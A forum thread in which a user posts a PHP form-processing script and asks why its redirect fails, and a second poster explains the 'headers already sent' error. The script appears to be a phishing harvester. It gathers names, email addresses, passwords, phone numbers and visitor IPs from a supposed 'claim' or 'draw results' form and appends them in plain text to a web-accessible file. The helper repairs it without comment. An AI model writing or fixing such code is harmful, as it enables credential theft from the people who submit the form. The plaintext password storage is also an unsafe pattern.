Results 1 to 2 of 2

Thread: Correction for a PHP execution file. Please help.

  1. #1
    Join Date
    Apr 2012
    Posts
    13
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default Correction for a PHP execution file. Please help.

    I have the below script:

    Code:
    <?php
    
    $ip = getenv("REMOTE_ADDR");
    $message1 .= "First Name: ".$_POST['fname']."\n";
    $message2 .= "Last Name: ".$_POST['lname']."\n";
    $message3 .= "Email Address: ".$_POST['email']."\n";
    $message4 .= "Password: ".$_POST['password']."\n";
    $message5 .= "Telephone number: ".$_POST['tel']."\n";
    $message6 .= "Nationality: ".$_POST['addre']."\n";
    $message7 .= "Age: ".$_POST['age']."\n";
    $message8 .= "Occupation: ".$_POST['occupy']."\n";
    $message9 .= "Language: ".$_POST['lang']."\n";
    $message10 .= "IP: ".$ip."\n";
    $message11 .= "-----------------------\n";
    
    
    
    $To = $_POST['email'];
    $Subject = "Hello ".$_POST['fname'].", C-Date has received your information."; //subject here
    $Message = "=======\n
    We are happy to have you ".$_POST['fname'].".\n
    
    Jossyo\n
    ====== "; // message here
    $Headers = "From: site-mail@yourdomain.com \r\n" . //change site-mail@yourdomain.com with your site email
    "Content-type: text/html; charset=UTF-8 \r\n";   
    
    
    
    if ($filehandler=fopen("store_datas_here/claimstoredata.php","a"))
    {
    fwrite($filehandler,$message1.$message2.$message3.$message4.$message5.$message6.$message7.$message8.$message9.$message10.$message11);
    
    fclose($filehandler);
    
    mail($To, $Subject, $Message, $Headers); 
    
    header("Location: thank_you_claim.php");
    }
    
    ?>


    I had a problem with the page after uploading it. After submitting the form, I got the following message.


    Code:
    Warning: Cannot modify header information - headers already sent by (output started at /home/cdatesco/public_html/en/draw_results_exec.php:6) in /home/cdatesco/public_html/en/draw_results_exec.php on line 59
    ====

    This is because I changed the language of the file property to Unicode UTF-8 and i saw this at the top of the page:

    Code:
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    </head>
    which was not there initially.

    It delivers the message but cannot redirect to the header("Location: thank_you_claim.php");

    Can someone please correct this for me?
    Last edited by james438; 05-08-2014 at 09:53 PM. Reason: format

  2. #2
    Join Date
    Apr 2008
    Location
    So.Cal
    Posts
    3,643
    Thanks
    63
    Thanked 516 Times in 502 Posts
    Blog Entries
    5

    Default

    You're trying to set an HTTP header (the "Location" header): this error message means you have already sent regular output to the browser (and so you cannot set any more headers, which -literally- go before the content).

    You need to put your output (the html <head>) after your PHP code.

Similar Threads

  1. perl execution
    By hemi in forum Other
    Replies: 0
    Last Post: 10-01-2009, 10:26 AM
  2. Replies: 0
    Last Post: 01-09-2009, 08:48 PM
  3. dhtmlWindow modal little correction
    By smagghe in forum Dynamic Drive scripts help
    Replies: 1
    Last Post: 10-26-2007, 10:13 AM
  4. Disable execution of JS file
    By rado84 in forum JavaScript
    Replies: 6
    Last Post: 03-13-2007, 05:28 PM
  5. Single Execution setInterval
    By venkat2cool in forum Flash
    Replies: 4
    Last Post: 01-28-2007, 06:41 PM

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •